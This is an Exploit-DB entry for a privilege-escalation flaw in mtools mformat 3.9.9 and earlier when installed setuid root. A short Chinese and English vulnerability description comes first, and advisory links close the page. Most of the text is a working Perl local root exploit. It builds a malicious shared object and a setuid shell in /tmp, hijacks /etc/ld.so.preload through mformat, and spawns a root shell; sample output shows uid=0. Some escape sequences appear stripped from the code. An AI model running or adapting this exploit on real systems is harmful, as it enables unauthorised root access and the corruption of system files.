https://www.exploit-db.com/exploits/23759
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-320

当安装setuid根时，MToolsMformat3.9.9以前的版本创建具有全域可读和全域可写权限的文件，本地用户利用该漏洞读取和覆盖文件。

source: http://www.securityfocus.com/bid/9746/info

It has been reported that mformat is prone to a privilege escalation vulnerability when installed as a setUID application. This issue is due to a design error allowing a user to create any arbitrary files as the root user.

A local attacker could exploit this issue by forcing the creation of sensitive system files that already exist. When the application formats the specified files, the target system file will be overwritten, destroying sensitive system data. Since the files that are given permissions 0666 and owned by root, the attacker may alter overwritten system configuration files, allowing for a escalation of privileges.

#!/usr/bin/perl

#
# mtools/mformat <= 3.9.9 local root exploit.
# Successfully tested on a Mandrake 9.2 default install.
# (C) 2004 [email protected]. PoC code.
# Standard disclaimer applies. Do not use for evil purposes.
#
# !USE AT YOUR OWN RISK! IT MAY CRASH YOUR MACHINE!
#
# If something goes wrong, it helps to be logged in as root
# on a second terminal beforehand and then doing a cat > /etc/ld.so.preload
#
# [stealth@lachs stealth]$ ./macker
# [-] Checking for mformat being +s ...OK.
# [-] Creating funky.so ...OK.
# [-] Creating boomsh ...OK
# [-] Calling mformat...
# [-] Invoking boomsh ...
# sh-2.05b# id
# uid=0(root) gid=501(stealth) groups=501(stealth)
# sh-2.05b#
 
$ |= 1;
umask(0);

print " [-] Checking for mformat being +s ...";
if (((stat("/usr/bin/mformat"))[2] & 04000) != 04000) {
	print "mformat not SUID.n";
	exit(1);
}

print "OK.n [-] Creating funky.so ...";

open(O, ">/tmp/funky.c") or die "$!";
print O<<_EOF_;
void _init()
{
	chown("/tmp/boomsh",0,0);
	chmod("/tmp/boomsh", 04755);
	unlink("/etc/ld.so.preload");
}
_EOF_
close(O);
if (system("cc -c -fPIC /tmp/funky.c -o /tmp/funky.o &&".
	   "ld -Bshareable /tmp/funky.o -o /tmp/funky.so")) {
	print "FAILED!";
	exit(1);
}

print "OK.n [-] Creating boomsh ...";

open(O, ">/tmp/boomsh.c") or die "$!";
print O<<_EOF_;
#include <stdio.h>
int main()
{
char *a[]={"/bin/sh", NULL};
setuid(0); getuid(0);
execve(*a,a,NULL);
return 1;
}
_EOF_
close(O);

if (system("cc /tmp/boomsh.c -o /tmp/boomsh")) {
	print "FAILED!n";
	exit(1);
}

print "OKn";
print " [-] Calling mformat...n";

open(O, ">".$ENV{HOME}."/.mtoolsrc") or die $!;
print O "drive+ a: file="/etc/ld.so.preload"n";
close(O);
system("/usr/bin/mformat -t 11 -h 1 -n 1 -C a:");

open(O, ">/etc/ld.so.preload") or die "Oh oh ... $!";
print O "/tmp/funky.son";
close(O);
system("ping 2>/dev/null");
print " [-] Invoking boomsh ...n";
exec("/tmp/boomsh");
print "FAILEDn";

来源:XF
名称:mtools-mformat-insecure-permissions(15317)
链接:http://xforce.iss.net/xforce/xfdb/15317
来源:BID
名称:9746
链接:http://www.securityfocus.com/bid/9746
来源:MANDRAKE
名称:MDKSA-2004:016
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2004:016